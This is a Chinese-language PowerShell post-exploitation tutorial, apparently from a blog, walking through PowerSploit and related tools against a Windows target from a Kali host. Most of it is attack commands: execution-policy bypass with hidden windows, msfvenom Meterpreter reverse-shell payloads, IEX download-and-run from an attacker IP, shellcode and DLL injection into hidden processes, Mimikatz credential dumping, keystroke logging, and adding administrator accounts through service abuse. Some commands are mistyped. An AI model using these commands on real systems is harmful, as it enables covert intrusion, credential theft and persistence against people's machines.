赞
踩
一旦攻击者可以在一台计算机上运行代码,就会下载powershell脚本文件(.ps1)到磁盘中 执行,甚至无需写到磁盘中执行,它可以直接在内存中运行,利用诸多特点攻击者可以持续攻击而不被轻易发现。
powerSploit:
常用于信息探测,权限提升,凭证窃取,持久化等操作
Nishang:
基于powershell的渗透测试专用工具,集成了框架,脚本和各种payload,包含下载和执行,键盘记录,DNS,延时命令等脚本
Empire:
基于powershell的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块,信息探测,凭证窃取,持久化控制。
powercat:
powershell版的Netcat,有着网络工具中的瑞士军刀美誉,他能通过tcp和udp在网络中读写数据,通过它和其他工具结合和重定向,读者可以在脚本中以多种方式使用它。
一个powershell脚本其实就是一个简单的文本文件,这个文件包含了一系列powershell命令,每个命令显示为独立的一行,对于被视为powershell脚本的文本文件,他的文件名需要加上.PS1的扩展名
为防止恶意脚本的执行,powershell有一个执行策略,默认情况下,这个执行策略被设置为受限
在powershell脚本无法执行时,可以使用下面的cmdlet命令来确定当前的执行策略
Restricted:脚本不能执行(默认设置)
RemoteSigned
本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)
AllSigned
仅当脚本由受信任的发布者签名时才能运行
Unrestricted
允许所有的script运行
Set-ExecutionPolicy < policy name >
运行一个脚本,必须键入完整的路劲和文件名,例如,你要运行一个名为a.ps1的脚本,可以键入c:\script\a.ps1
管道的作用就是将一个命令的输出作为另一个命令的输入,两个命令之间用管道符号(|)连接
例如:
假设停止所有目前运行中的,以"p"字符开头命名的程序
get-process p* | stop-process
在powershell下,类似“cmd命令”叫做"cmdlet"
新建目录/文件
New-Item
Remove-Item
Get-Content
Set-Content
Add-Content
Clear-Content
如果要运行powershell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted,所以在渗透时,就需要采用一些方法绕过策略来执行脚本
绕过本地权限执行
上传xxx.ps1至目标服务器,在cmd环境下,在目标服务器本地执行该脚本
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
本地隐藏绕过权限执行脚本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -Nonlnteractive -NoProfile -File xxx.ps1
用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden-NoProfile-NonIIEX(New- ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
-ExecutionPolicy Bypass
绕过执行安装策略,这个参数非常重要,在默认情况下,Powershell的安全策略规定了Powershell不允许运行命令和文件。通过设置这个参数,可以绕过一些安全保护规则,在渗透测试中,基本每一次运行powershell脚本都要使用这个参数
-WindowStyle Hidden
隐藏窗口
-NoLogo
启动不显示版权标志的Powershell
-Nonlnteractive( -Nonl)
非交互模式,powershell不为用户提供交互的提示
-NoProfile(-Nop)
powershell控制台不加载当前用户的配置文件
-Noexit
执行后不退出shell
‘“ test"’>t.ps1
PowerSploit是一款基于Powershell的后渗透(post-Exploitation)框架软件,包含很多powershell攻击脚本,它们主要用户渗透中的信息侦察,权限提升,权限维持:
地址: https://github.com/PowerShellMafia/PowerSploit
AntivirusBypass
发现杀毒软件的查杀特征
CodeExecution
在目标主机上执行代码
Exfiltration
在目标主机上的信息收集工具
Mayhem
蓝屏等破坏性脚本
Persistence
后门脚本(持久性控制)
Recon
以目标主机为跳板进行内网信息侦察
ScriptModification
在目标主机上创建或修改脚本
攻击机为kali并且安装了powershellsploit
CodeExecution模块下的Invoke-Shellcode脚本常用于将shellcode插入指定的进程ID或本地Powershell中
2.使用msfvenom命令生成一个Powershell脚本木马
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.31.247 LPORT=4444 -f powershell -o /var/www/html/test
3.接着在目标主机Powershell下输入以下命令下载该脚本(下载 invoke-shellcode)
IEX (New-Object Net.WebClient).DownloadString("http://192.168.31.247/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")
4.接着在目标主机上下载生成的木马
IEX (New-Object Net.WebClient).DownloadString("http://192.168.31.247/test")
5.在powershell中运行木马
Invoke-Shellcode -Shellcode ($buf) -Force
-Force 意思是不用提示直接运行
反弹回shell
可以在msf中看到反弹shell成功
1.同样在目标机powershell下输入以下命令
IEX (New-Object Net.WebClient).DownloadString("http://192.168.31.247/PowerSploit/CodeExecution/Invoke-Shellcode.ps1") IEX (New-Object Net.WebClient).DownloadString("http://192.168.31.247/test")
2.接着Get-Process命令或者PS命令查看当前进程
3.创建一个新进程,这里启动一个记事本,并把它设置为隐藏的,在输入Get-Process命令查看进程
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
4.接着输入命令,使用Invoke-Shellcode脚本进行注入
Invoke-Shellcode -ProcessID 8120 -Shellcode($buf) -Force
完成成功获取shell
下面使用Code Execution模块下的另一个脚本Invoke-DLLInjection,它是一个DLL注入的脚本
1.同理还是先下载脚本
IEX (New-Object Net.WebClient).DownloadString("http://192.168.31.247/PowerSploit/CodeExecution/Invoke-DLLIinjection.ps1")
IEX (New-Object Net.WebClient).DownloadString("http://192.168.31.247/test")
2.在kali中生成一个DLL注入脚本
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.247 lport=4444 -f dll -o /var/www/html/test.dll
3.把生成的test.dll上传到目标服务器的C盘后,就能启动一个新的进程进行DLL注入,这样可以注入更加隐蔽,使用以下命令新建一个名为notepad.exe的隐藏进程
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
4.然后进行命令注入
Invoke-DLLInjection -ProcessID 2000 -DLL c:\test.dll
运行即可反弹shell
Invoke-Portscan是Recon模块下的一个脚本,主要用于端口扫描,使用起来比较简单。
1.同样先使用以下命令下载脚本
IEX (New-Object Net.WebClient).DownloadString("http://192.168.31.247/PowerSploit/CodeExecution/Invoke-Portscan.ps1")
2.使用以下命令进行扫描(目标机上)
Invoke-Portscan -Hosts 192.168.31.1.192.168.31.247 -Port "80,22,3389"
Invoke-Mimikatz是Exfiltration模块下的一个脚本
1.同样使用命令下载脚本
IEX (New-Object Net.WebClient).DownloadString("http://192.168.31.247/PowerSploit/CodeExecution/Invoke-Mimikatz.ps1")
下载即可
2.执行命令
Invoke-Mimikatz -DumpCreds
Get-Keystrokes是Exfiltration模块下的一个脚本,用于键盘记录,功能相当强大,不仅有键盘记录,甚至记录鼠标的点击情况,还能记录详细的时间,实战时可以直接放入后台运行。
同样先使用以下命令下载脚本:
IEX(New-Object Net.WebClient).DownloadString("http://192.168.31.247/PowerSploit/Exfiltration/Get-Keystores.ps1")
使用以下命令开启键盘记录:
Get-Keystrokes -LogPath c:\test1.txt
PowerUp是Privesc模块下的一个脚本,功能相当强大,拥有众多用来寻找目标主机windows服务漏洞进行提权的实用脚本。
加载模块:
这里是本机所以直接导入
Import-Module .\PowerUp.ps1
如要查看各个模块的详细说明,可以输入
get-help[cmdlet] -full
比如:
get-Help Invoke-ALLChecks -full
Invoke-ALLChecks:
该模块会自动执行powerup下所以脚本啦检查目标主机,输出命令即可执行
Invoke-ALLChecks
该模块用于检查当前%PATH%的那些目录是用户可以写入的,输入以下命令即可执行该模块:
Find-Pathdllhijack
该模块用于检查AlwaysInstallElevated注册表项是否被设置,如果已被设置,意味着MSI文件以system权限运行的
Get-RegistryAlwaysInstallElevated
该模块用于检查winlogin注册表的autoadminlogon项有没有被设置,可以查询默认的用户名和密码,执行该模块的命令:
Get-RegistryAutoLogon
该模块用于返回某服务的信息,输入以下命令即可执行该模块
Get-ServiceDetail -ServiceName Dhcp #获取DHCP服务的详细信息
该模块用于检查当前用户能够在那些服务的目录写入相关联的可执行文件,我们可以通过这些文件实现提权,输入以下命令即可执行该模块。
Get-ServiceFilePermission
该模块用于检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则返回该服务对象:
Test-ServiceDaclPerssion
该模块通过修改服务来添加用户到指定组,并可以通过设置-cmd参数触发添加用户的自定义命令,执行该模块的命令。
Invoke-ServiceAbuse -ServiceName VulnSVC #添加默认账号
Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "Test\john" #指定添加的域账户
Invoke-ServiceAbuse -ServiceName VulnSVC -UserName test -Password password -LocalGroup "Administrators" #指定添加用户,用户密码以及添加的用户组
Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ......." #自定义执行命令
先加载PowerUp脚本,然后执行Invoke-ALLChecks,脚本将进行所有的检查
将powerup脚本上传至目标服务器,再从本地执行该脚本
使用IEX再内存中加载此脚本,执行以下命令:
PowerShell.exe -exec bypass "IEX(New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Invoke-ALLChecks"
也可以再CMD环境下使用命令绕过执行该脚本:
powershell.exe -exec bypass -Command "&{Import-Module .\PowerUp.ps1; Invoke-ALLChecks}"
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。